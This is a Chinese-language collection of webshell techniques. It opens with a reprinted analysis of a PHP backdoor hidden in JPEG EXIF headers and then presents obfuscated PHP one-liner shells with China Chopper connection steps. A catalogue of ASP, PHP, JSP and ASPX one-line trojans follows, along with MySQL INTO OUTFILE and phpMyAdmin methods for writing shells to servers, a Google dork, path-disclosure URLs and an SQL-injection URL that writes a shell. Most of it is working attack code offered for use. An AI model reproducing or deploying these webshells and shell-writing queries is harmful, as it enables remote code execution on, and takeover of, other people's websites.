一种隐藏在JPG图片EXIF中的后门

几天前,我们研究团队的 Peter Gramantik 在一个被攻破的网站上发现一个非常有趣的后门。这个后门并没有依靠正常模式去隐藏起内容(比如 base64/gzip 编码),但是它却把自己的数据隐藏在 JPEG 图片的 EXIT 头部中了。它也使用 exif_read_data 和 preg_replace 两个 PHP 函数来读取 EXIF 头部和执行。

技术细节
这个后门可分为两部分。第一部分是 exif_read_data 函数读取图片头部,preg_replace 函数来执行内容。下面是我们在被攻破网站上发现的代码:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

这两个函数本身是无害滴。exif_read_data 函数常用来读取图片,preg_replace 函数是替代字符内容。不过,preg_replace 函数函数有个隐藏并微妙的选项,如果你传入 “/e”,它会执行 eval() 中的内容,就不是去查询/替代了。

所以我们在查看 bun.jpg 文件时,发现后门的第二部分:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

这个文件用以常见的头部开始,但是在 ”make” 头部中混入了奇怪的关键字 ”/.*/e” 。有了这个执行修饰符, preg_replace 会执行 eval() 中传入的任意内容。

事情变得开始有趣了……

如果咱们继续来看看 EXIF 数据,我们能发现, “eval ( base64_decode”隐藏在 ”Model“ 头部。把这些放在一起看,咱们就知道怎么回事了。攻击者是从 EXIF 中读取 Make 和 Model 头部信息,然后传入到 preg_replace 函数。只要我们修改 $exif[‘Make’] 和 $exif[‘Model’] ,就得到了最终的后门。

 

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

解码后我们可以看到是执行 $_POST[“zz1”] 提供的内容。完整解码后的后面在这里

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..

隐藏恶意软件
另外一个有意思的是,虽然 bun.jpg 和其他图片文件被修改了,但然后能加载并正常工作。实际上,在这些被攻破的站点,攻击者修改了站点上一个合法并之前就存在的图片。这是一种奇特的隐藏恶意软件的方法。

引自:freebuf.com

变形的PHP一句话

牛人们分享的两个变形的PHP一句话,非常之隐蔽

First:1.php

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

菜刀里写:http://localhost/1.php?2=assert
密码:1

Second:2.php

<?php
$_=””;
$_[+””]=”;
$_=”$_”.””;
$_=($_[+””]|””).($_[+””]|””).($_[+””]^””);
?>
<?php ${‘_’.$_}[‘_’](${‘_’.$_}[‘__’]);?>

菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST[‘pass’])
密码:pass

各程序一句话木马集锦

asp一句话木马
程序后门代码
<%eval request(“sb”)%>
程序代码
<%execute request(“sb”)%>
程序代码
<%execute(request(“sb”))%>
程序代码
<%execute request(“sb”)%><%'<% loop <%:%>
程序后门代码
<%'<% loop <%:%><%execute request(“sb”)%>
程序后门代码
<%execute request(“sb”)'<% loop <%:%>[code][/code]
[code][/code]<script language=vbs runat=server>eval(request(“sb”))</script>
程序代码
%><%Eval(Request(chr(35)))%><%
程序代码
<%eval request(“sb”)%>
程序后门代码
<%ExecuteGlobal request(“sb”)%>
程序代码
if Request(“sb”)<>”” then ExecuteGlobal request(“sb”) end if
//容错代码
程序代码
<%@LANGUAGE=”JAVASCRIPT” CODEPAGE=”65001″%>
<%
var lcx = {‘名字’ : Request.form(‘#’), ‘性别’ : eval, ‘年龄’ : ’18’, ‘昵称’ : ‘请叫我一声老大’};
lcx.性别((lcx.名字)+”);
%>
//使用冰狐一句话客户端链接
程序后门代码
<%
Set o = Server.CreateObject(“ScriptControl”)
o.language = “vbscript”
o.addcode(Request(“SubCode”)) ‘参数SubCode作为过程代码
o.run “e”,Server,Response,Request,Application,Session,Error ‘参数名e 调用之,同时压入6个基对象作为参数
%>
调用示例:
程序代码
http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29

php一句话木马

程序后门代码
<?php eval($_POST[sb])?>
程序代码
<?php @eval($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST[‘sa’]($_POST[‘sb’]);?>
程序代码
<?$_POST[‘sa’]($_POST[‘sb’],$_POST[‘sc’])?>
程序代码
<?php
@preg_replace(“/[email]/e”,$_POST[‘h’],”error”);
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在”配置”一栏输入
程序代码
<O>h=@eval($_POST[c][/c]);</O>
程序代码
<script language=”php”>@eval($_POST[sb])</script>
//绕过<?限制的一句话

JSP一句话木马

程序后门代码
<%
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>
提交客户端
程序后门代码
<form action=”http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp” method=”post”>
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value=”提交”>
</form>
ASPX一句话木马
程序代码
<%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>
程序代码
<%@ Page Language=”Jscript” validateRequest=”false” %><%Response.Write(eval(Request.Item[“w”],”unsafe”));%>
//Jscript的asp.net一句话
程序后门代码
<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>
//C#的asp.net一句话
程序代码
<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(“f”)) ) %>

 

VB的asp.net一句话木马

第一:114la网址导航系统后台getwebshell,最新版本,已经禁止了直接输入<?php这样的代码
所以可以试用<script language=”php”>…<script>来绕过
第二,使用菜刀的附加数据功能可以出现很多转换.所以还是仔细阅读下菜刀的readme.txt,上面的代码来自LCX的博客
第三,使用mssql备份一句话的时候,特别是asp.net和jsp,因为代码过长,所以,需要再代码前面和后面多加空格等垃圾字符保证代码完整性,这个跟备份bat到启动项一个原理.

mysql/php对单引号转义时load_file/outfile 生成一句话

一般apache的php配置一下,就会将单引号转义

不过现在也可以突破限制了,得到一句话木马php文件/php小马:

mysql多语句执行下不用单引号outfile写shell

mysql> use xssdb;
Database changed

mysql> set @a=0x73656C6563742030783343334637303638373032303430363537363631364332
38323435463530344635333534354232373633364436343237354432393342334633452066726F6D
20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E70687027;
Query OK, 0 rows affected (0.00 sec)
mysql> prepare cmd from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> execute cmd;
Query OK, 1 row affected (0.00 sec)
上面加密的十六进制是:
select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E from xss

limit 1 into outfile ‘C:/shell.php’

说这些就足够了!!

字符串 <–> 十六进制转换工具:

16进制转换器

 

PhpMyAdmin 入侵

 

google 搜索 Runtime Information inurl:phpmyadmin
1.如何拿到登陆密码. 自己想办法
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
—-start code—
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(’’);
select cmd from a into outfile ’D:/phpMyAdmin/libraries/d.php’;
Drop TABLE IF EXISTS a;
—-end code—

 

在使用mysql select into outfile的时候需要知道绝对路径,使用phpmyadmin爆路径的方法:

爆它的路径:

http://url/phpmyadmin/themes/darkblue_orange/layout.inc.php

http://url/phpmyadmin/libraries/select_lang.lib.php

http://url/phpmyadmin/libraries/export/xls.php

http://url/phpmyadmin/themes/darkblue_orange/layout.inc.php

 

 

创建表,insert一句话,写出到文件:

Create TABLE a (cmd text NOT NULL);

Insert INTO a (cmd) VALUES(‘<?php @eval($_POST[a])?>’);

select cmd from a into outfile ‘C:/xampp/htdocs/help.php’;

使用一句话客户端连接,即可

 

参考网址:

http://linkboy.blog.51cto.com/821152/297533

http://hi.baidu.com/hohoxni/item/d618e143ed764698833ae1d6

MySQL导出一句话拿WebShell的办法

文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行):
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES(”); //把一句话木马插入到temp表
Select cmd from temp into out file ‘F:/wwwroot/eval.php’; //查询temp表中的一句话并把结果导入到eval.php
Drop TABLE IF EXISTS temp; //删除temp(擦屁股o(∩_∩)o…)
这几句SQL很简单,我做了简单的注释。
不过想想我们在测试PHP的SQL漏洞的时候经常用如下的语句:
/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
然后返回的页面中可能会出现1~12之间的数字。这里加入数字3显示出来了。
如果我们把上面这句改成/**/UNION SELECT 1,2,’zerosoul’,4,5,6,7,8,9,10,11,12/*,则返回页面上次显示3的地方会显示zerosoul。
也就是说如果我们的select语句后面不带from table语句的话,我们说查询的数字或字符会直接返回到查询结果里。
既然这样,我们为何还要那么麻烦去建一个表,先导入数据,再导出这样折腾呢。
有了这个思路,上面那一大段到出一句话的SQL代码可以直接简化到一句:
Select ” into outfile ‘F:/wwwroot/eval.php’;
这样做不但简单明了,而且避免了误删别人的数据。
效果图如下:


补充:加个测试成功的注入URL:
http://www.7747.net/news.php?NewsID=-1 union Select ‘‘,2 into outfile ‘D:/wwwroot/eval.php’/*